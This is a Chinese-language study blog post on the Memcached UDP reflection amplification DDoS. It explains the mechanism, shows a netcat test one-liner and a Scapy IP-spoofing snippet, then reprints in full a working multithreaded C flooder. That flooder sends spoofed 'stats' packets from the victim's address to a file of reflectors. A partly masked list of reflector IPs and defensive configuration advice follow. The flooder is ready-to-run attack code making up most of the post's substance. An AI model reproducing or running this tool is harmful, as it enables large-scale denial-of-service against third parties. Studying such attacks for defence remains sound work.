【漏洞学习】Memcached服务器UDP反射放大攻击

1、前言

2月28日，Memcache服务器被曝出存在UDP反射放大攻击漏洞。攻击者可利用这个漏洞来发起大规模的DDoS攻击，从而影响网络正常运行。漏洞的形成原因为Memcache 服务器UDP 协议支持的方式不安全、默认配置中将 UDP 端口暴露给外部链接。

2、原理分析

这个漏洞的攻击方式属于DRDOS(Distributed Reflection Denial of Service)分布式反射拒绝服务攻击。

• DRDOS

对于分布式还有拒绝服务都很好理解，反射的意思简单来说就是借别人的手来攻击。Memcache满足被借用的条件就可以借用Memcache的手来攻击其他主机。

• Memcached攻击原理

攻击者向端口11211 上的 Memcache 服务器发送小字节请求。由于 UDP 协议并未正确执行，因此 Memcache 服务器并未以类似或更小的包予以响应，而是以有时候比原始请求大数千倍的包予以响应。由于 UDP 协议即包的原始 IP 地址能轻易遭欺骗，也就是说攻击者能诱骗 Memcache 服务器将过大规模的响应包发送给另外一个 IP 地址即 DDoS 攻击的受害者的 IP 地址。这种类型的 DDoS 攻击被称为“反射型 DDoS”或“反射 DDoS”。响应数据包被放大的倍数被称为 DDoS 攻击的“放大系数”。

3、影响范围

• Shadon

shadon搜索可得到约 65890个结果。

• ZoomEye

ZoomEye找到约 205,972 条结果

4、基础知识

所有放大攻击背后的想法都是一样的。攻击者使用源IP欺骗的方法向有漏洞的UDP服务器发送伪造请求。UDP服务器，不知道请求是伪造的，礼貌地准备响应。当成千上万的响应被传递给一个不知情的目标主机时，这个攻击问题就会发生。那么我们就需要了解两件事，一是Memcached如何对数据的存取，二是如何伪造IP。

翻阅互联网文章发现一条使用NC测试自身是否存在漏洞的命令。-q1是1秒后退出，-u是指定UDP协议发送

echo -en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | nc -q1 -u 127.0.0.1 11211

根据以上两点线索为引子搜索资料。

• Memcached

网上的POC大多数都是用了Memcached缓存系统的几个关键命令stats、set、get 命令。查阅这几个命令的详细功能参数如下：

• • set 命令

Memcached set 命令用于将 value(数据值) 存储在指定的 key(键) 中。

如果set的key已经存在，该命令可以更新该key原来所对应的数据，实现更新的作用。

语法：

set 命令的基本语法格式如下：

set key flags exptime bytes [noreply] 
value 

参数说明如下：

key：键值 key-value 结构中的 key，用于查找缓存值。
flags：可以包括键值对的整型参数，客户机使用它存储关于键值对的额外信息 。
exptime：在缓存中保存键值对的时间长度（以秒为单位，0 表示永远）
bytes：在缓存中存储的字节数
noreply（可选）： 该参数告知服务器不需要返回数据
value：存储的值（始终位于第二行）（可直接理解为key-value结构中的value）

实例

以下实例中我们设置：

• key → runoob
• flag → 0
• exptime → 900 (以秒为单位)
• bytes → 9 (数据存储的字节数)
• value → memcached

set runoob 0 900 9
memcached
STORED

get runoob
VALUE runoob 0 9
memcached
END

输出

如果数据设置成功，则输出：

STORED

输出信息说明：

    STORED：保存成功后输出。
    ERROR：在保存失败后输出。

• Python-网络协议库Scapy模块

python中有个模块scapy，可以伪造源IP

from scapy.all import *
send(IP(src=‘10.0.10.10‘,dst="www.baidu.com")/TCP(dport=80))

tcpdump抓包：sudo tcpdump host 115.239.210.27 会发现源IP有所改变。

5、代码编写技巧

Python版本POC

C语言版本POC

/**
memcached-PoC

memcached Proof of Concept Amplification via spoofed source UDP packets. Repo includes source code for PoC and approximately 17,000 AMP hosts.

memcached.c - Source code (https://pastebin.com/raw/ZiUeinae)
memecache-amp-03-05-2018-rd.list - List of memcached servers as of 03-05-2018 (https://pastebin.com/raw/eSCHTTVu)

Compile: gcc memcached.c -o memecached -pthread

*Educational and/or testing purposes only. *Use of these tools against an unauthorized party may be unethtical, rude, and even illegal in some countries.

**/

/* 
   memcache reflection script
   greeting: syn, storm, krashed, chrono, spike, niko, disliked
   Use with extreme Caution
*/

#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
struct list
{
    struct sockaddr_in data;
    struct list *next;
    struct list *prev;
};
struct list *head;
volatile int tehport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
void init_rand(uint32_t x)
{
    int i;
    Q[0] = x;
    Q[1] = x + PHI;
    Q[2] = x + PHI + PHI;
    for (i = 3; i < 4096; i++)
    {
    Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
    }
}
uint32_t rand_cmwc(void)
{
    uint64_t t, a = 18782LL;
    static uint32_t i = 4095;
    uint32_t x, r = 0xfffffffe;
    i = (i + 1) & 4095;
    t = a * Q[i] + c;
    c = (t >> 32);
    x = t + c;
    if (x < c) {
    x++;
    c++;
    }
    return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int nwords)
{
    unsigned long sum = 0;
    for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 15;
    iph->id = htonl(54321);
    iph->frag_off = 0;
    iph->ttl = MAXTTL;
    iph->protocol = IPPROTO_UDP;
    iph->check = 0;
    iph->saddr = inet_addr("192.168.3.100");
}
void setup_udp_header(struct udphdr *udph)
{
    udph->source = htons(5678);
    udph->dest = htons(11211);
    udph->check = 0;
    memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n", 15); // 使用 stats 命令来输出 Memcached 服务信息
    udph->len=htons(sizeof(struct udphdr) + 15);
}
// 主要攻击函数-线程回调函数
void *flood(void *par1)
{
    struct thread_data *td = (struct thread_data *)par1;
    char datagram[MAX_PACKET_SIZE];
    struct iphdr *iph = (struct iphdr *)datagram;
    struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
    struct sockaddr_in sin = td->sin;
    struct  list *list_node = td->list_node;
    int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    if(s < 0){
    fprintf(stderr, "Could not open raw socket.\n");
    exit(-1);
    }
    init_rand(time(NULL));
    memset(datagram, 0, MAX_PACKET_SIZE);
    setup_ip_header(iph);
    setup_udp_header(udph);
    udph->source = htons(rand() % 65535 - 1026);
    iph->saddr = sin.sin_addr.s_addr;
    iph->daddr = list_node->data.sin_addr.s_addr;
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
    int tmp = 1;
    const int *val = &tmp;
    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
    fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
    exit(-1);
    }
    init_rand(time(NULL));
    register unsigned int i;
    i = 0;
    while(1){
        sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));   //UDP发送数据
        list_node = list_node->next;
        iph->daddr = list_node->data.sin_addr.s_addr;
        iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
        
        pps++;
        if(i >= limiter)
        {
            i = 0;
            usleep(sleeptime);
        }
        i++;
    }
}
int main(int argc, char *argv[ ])
{
        // 参数小于6，添加说明
    if(argc < 6){
    fprintf(stderr, "Invalid parameters!\n");
    fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
        exit(-1);
    }
    srand(time(NULL));   //生成随机数种子
    int i = 0;
    head = NULL;
    fprintf(stdout, "Setting up sockets...\n");
    int max_len = 128;
    char *buffer = (char *) malloc(max_len);
    buffer = memset(buffer, 0x00, max_len);
    int num_threads = atoi(argv[4]);    // 线程数
    int maxpps = atoi(argv[5]);             // 开启PPS 速率
    limiter = 0;
    pps = 0;
    int multiplier = 20;
    FILE *list_fd = fopen(argv[3],  "r"); // 读取文件中的IP地址
    while (fgets(buffer, max_len, list_fd) != NULL) {
        if ((buffer[strlen(buffer) - 1] == ‘\n‘) ||
                (buffer[strlen(buffer) - 1] == ‘\r‘)) {
            buffer[strlen(buffer) - 1] = 0x00;
            if(head == NULL)
            {
                head = (struct list *)malloc(sizeof(struct list));
                bzero(&head->data, sizeof(head->data));
                head->data.sin_addr.s_addr=inet_addr(buffer);     // 漏洞IP地址填写
                head->next = head;
                head->prev = head;
            } else {
                struct list *new_node = (struct list *)malloc(sizeof(struct list));
                memset(new_node, 0x00, sizeof(struct list));
                new_node->data.sin_addr.s_addr=inet_addr(buffer);
                new_node->prev = head;
                new_node->next = head->next;
                head->next = new_node;
            }
            i++;
        } else {
            continue;
        }
    }
    struct list *current = head->next;
    pthread_t thread[num_threads];
    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(argv[1]);    //受攻击主机填写
    struct thread_data td[num_threads];
    for(i = 0;i<num_threads;i++){
        td[i].thread_id = i;
        td[i].sin= sin; 
        td[i].list_node = current;                        //存储漏洞IP
        pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
    }
    fprintf(stdout, "Starting flood...\n");
    for(i = 0;i<(atoi(argv[6])*multiplier);i++)      // 时间控制
    {
        usleep((1000/multiplier)*1000);
        if((pps*multiplier) > maxpps)
        {
            if(1 > limiter)
            {
                sleeptime+=100;
            } else {
                limiter--;
            }
        } else {
            limiter++;
            if(sleeptime > 25)
            {
                sleeptime-=25;
            } else {
                sleeptime = 0;
            }
        }
        pps = 0;
    }
    return 0;
}

// memcached AMP list (Approx 17,000 hosts) DATE: 03-06-2018 - Remove this top line for use with most testing tools.
85.62.36.xx
112.78.10.xx
202.105.247.xx
121.40.71.xx
101.201.199.xx
129.144.63.xx
61.141.124.xx
103.100.209.xx
113.96.195.xx
47.90.76.xx
83.164.193.xx
74.122.193.xx
120.76.207.xx
120.24.69.xx
129.144.61.xx
105.212.115.xx
130.226.11.xx
179.108.253.xx
203.11.105.xx

6、防御策略

• 1. 设置访问控制规则

例如，在Linux环境中运行命令iptables -A INPUT -p tcp -s 192.168.0.2 —dport 11211 -j ACCEPT，在iptables中添加此规则只允许192.168.0.2这个IP对11211端口进行访问。

• 2 绑定监听IP

如果Memcached没有在公网开放的必要，可在Memcached启动时指定绑定的IP地址为 127.0.0.1。例如，在Linux环境中运行以下命令：
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

• 3 使用最小化权限账号运行Memcached服务

使用普通权限账号运行，指定Memcached用户。例如，在Linux环境中运行以下命令来运行Memcached：
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

• 4 启用认证功能

Memcached本身没有做验证访问模块,Memcached从1.4.3版本开始，能支持SASL认证。SASL认证详细配置手册

• 5 修改默认端口

修改默认11211监听端口为11222端口。在Linux环境中运行以下命令：
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid

7、参考

【Memcached Servers Can Be Abused for Insanely Massive DDoS Attacks】
https://www.bleepingcomputer.com/news/security/memcache-servers-can-be-abused-for-insanely-massive-ddos-attacks/
【Memcache服务器可用于发动超大规模的DDoS攻击，影响严重】
https://www.anquanke.com/post/id/99241
【Memcrashed - Major amplification attacks from UDP port 11211】
https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/
【Memcached之反射拒绝服务攻击技术原理】
http://blog.topsec.com.cn/ad_lab/memcached%e4%b9%8b%e5%8f%8d%e5%b0%84%e6%8b%92%e7%bb%9d%e6%9c%8d%e5%8a%a1%e6%94%bb%e5%87%bb%e6%8a%80%e6%9c%af%e5%8e%9f%e7%90%86/?from=timeline
【Memcached-PoC memcache reflection script】
https://pastebin.com/raw/ZiUeinae
【Memcached set 命令】
http://www.runoob.com/memcached/memcached-set-data.html
【How to send only one UDP packet with netcat】
https://stackoverflow.com/questions/9696129/how-to-send-only-one-udp-packet-with-netcat